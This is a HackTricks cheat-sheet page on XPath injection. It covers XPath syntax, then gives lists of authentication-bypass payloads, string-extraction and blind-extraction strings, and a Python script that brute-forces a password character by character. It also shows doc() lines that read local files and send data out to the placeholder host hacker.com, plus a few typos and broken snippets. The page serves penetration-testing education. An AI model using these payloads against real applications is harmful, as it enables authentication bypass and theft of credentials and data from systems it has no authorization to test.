XPATH injection - HackTricks

# XPATH injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Syntax

An attack technique known as XPath Injection is utilized to take advantage of applications that form XPath (XML Path Language) queries based on user input to query or navigate XML documents.

### Nodes Described

Expressions are used to select various nodes in an XML document. These expressions and their descriptions are summarized below:

- nodename: All nodes with the name "nodename" are selected.
- /: Selection is made from the root node.
- //: Nodes matching the selection from the current node are selected, regardless of their location in the document.
- .: The current node is selected.
- ..: The parent of the current node is selected.
- @: Attributes are selected.

### XPath Examples

Examples of path expressions and their results include:

- bookstore: All nodes named "bookstore" are selected.
- /bookstore: The root element bookstore is selected. It's noted that an absolute path to an element is represented by a path starting with a slash (/).
- bookstore/book: All book elements that are children of bookstore are selected.
- //book: All book elements in the document are selected, irrespective of their location.
- bookstore//book: All book elements that are descendants of the bookstore element are selected, no matter their position under the bookstore element.
- //@lang: All attributes named lang are selected.

### Utilization of Predicates

Predicates are used to refine selections:

- /bookstore/book[1]: The first book element child of the bookstore element is selected. A workaround for IE versions 5 to 9, which index the first node as [0], is setting the SelectionLanguage to XPath through JavaScript.
- /bookstore/book[last()]: The last book element child of the bookstore element is selected.
- /bookstore/book[last()-1]: The penultimate book element child of the bookstore element is selected.
- /bookstore/book[position()<3]: The first two book elements children of the bookstore element are selected.
- //title[@lang]: All title elements with a lang attribute are selected.
- //title[@lang='en']: All title elements with a "lang" attribute value of "en" are selected.
- /bookstore/book[price>35.00]: All book elements of the bookstore with a price greater than 35.00 are selected.
- /bookstore/book[price>35.00]/title: All title elements of the book elements of the bookstore with a price greater than 35.00 are selected.

### Handling of Unknown Nodes

Wildcards are employed for matching unknown nodes:

- *: Matches any element node.
- @*: Matches any attribute node.
- node(): Matches any node of any kind.

Further examples include:

- /bookstore/*: Selects all the child element nodes of the bookstore element.
- //*: Selects all elements in the document.
- //title[@*]: Selects all title elements with at least one attribute of any kind.

## Example

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <data>
    <user>
        <name>pepe</name>
        <password>peponcio</password>
        <account>admin</account>
    </user>
    <user>
        <name>mark</name>
        <password>m12345</password>
        <account>regular</account>
    </user>
    <user>
        <name>fino</name>
        <password>fino2</password>
        <account>regular</account>
    </user>
    </data>

### Access the information

    All names - [pepe, mark, fino]
    name
    //name
    //name/node()
    //name/child::node()
    user/name
    user//name
    /user/name
    //user/name

    All values - [pepe, peponcio, admin, mark, ...]
    //user/node()
    //user/child::node()

    Positions
    //user[position()=1]/name #pepe
    //user[last()-1]/name #mark
    //user[position()=1]/child::node()[position()=2] #peponcio (password)

    Functions
    count(//user/node()) #3*3 = 9 (count all values)
    string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
    substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

### Identify & stealing the schema

    and count(/*) = 1 #root
    and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
    and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
    and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
    and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
    and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
    and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
    and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
    and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

    #The previous solutions are the representation of a schema like the following
    #(at this stage we don't know the name of the tags, but jus the schema)
    <root>
        <a>
            <b></b>
        </a>
        <c>
            <d></d>
            <e></e>
            <f>
                <h></h>
            </f>
        </c>
    </root>

    and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
    and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
    and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

    #Stealing the schema via OOB
    doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
    doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

## Authentication Bypass

### Example of queries:

    string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
    $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

### OR bypass in user and password (same value in both)

    ' or '1'='1
    " or "1"="1
    ' or ''='
    " or ""="
    string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

    Select account
    Select the account using the username and use one of the previous values in the password field

### Abusing null injection

    Username: ' or 1]%00

### Double OR in Username or in password (is valid with only 1 vulnerable field)

IMPORTANT: Notice that the "and" is the first operation made.

    Bypass with first match
    (This requests are also valid without spaces)
    ' or /* or '
    ' or "a" or '
    ' or 1 or '
    ' or true() or '
    string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

    Select account
    'or string-length(name(.))<10 or' #Select account with length(name)<10
    'or contains(name,'adm') or' #Select first account having "adm" in the name
    'or contains(.,'adm') or' #Select first account having "adm" in the current value
    'or position()=2 or' #Select 2º account
    string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

    Select account (name known)
    admin' or '
    admin' or '1'='2
    string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

## String extraction

The output contains strings and the user can manipulate the values to search:

    /user/username[contains(., '+VALUE+')]

    ') or 1=1 or (' #Get all names
    ') or 1=1] | //user/password[('')=(' #Get all names and passwords
    ') or 2=1] | //user/node()[('')=(' #Get all values
    ')] | //./node()[('')=(' #Get all values
    ')] | //node()[('')=(' #Get all values
    ') or 1=1] | //user/password[('')=(' #Get all names and passwords
    ')] | //password%00 #All names and passwords (abusing null injection)
    ')]/../*[3][text()!=(' #All the passwords
    ')] | //user/*[1] | a[(' #The ID of all users
    ')] | //user/*[2] | a[(' #The name of all users
    ')] | //user/*[3] | a[(' #The password of all users
    ')] | //user/*[4] | a[(' #The account of all users

## Blind Explotation

### Get length of a value and extract it by comparisons:

    ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
    ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

    substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

    ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

### Python Example

    import requests, string

    flag = ""
    l = 0
    alphabet = string.ascii_letters + string.digits + "{}_()"
    for i in range(30):
        r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
        if ("TRUE_COND" in r.text):
            l = i
            break
    print("[+] Password length: " + str(l))
    for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
        for al in alphabet:
            r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
            if ("TRUE_COND" in r.text):
                flag += al
                print("[+] Flag: " + flag)
                break

### Read file

    (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

## OOB Exploitation

    doc(concat("http://hacker.com/oob/", RESULTS))
    doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
    doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

    #Instead of doc() you can use the function doc-available
    doc-available(concat("http://hacker.com/oob/", RESULTS))
    #the doc available will respond true or false depending if the doc exists,
    #user not(doc-available(...)) to invert the result if you need to

### Automatic tool

- xcat
- xxxpwn
- xxxpwn_smart
- xpath-blind-explorer
- XmlChor

## References

- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.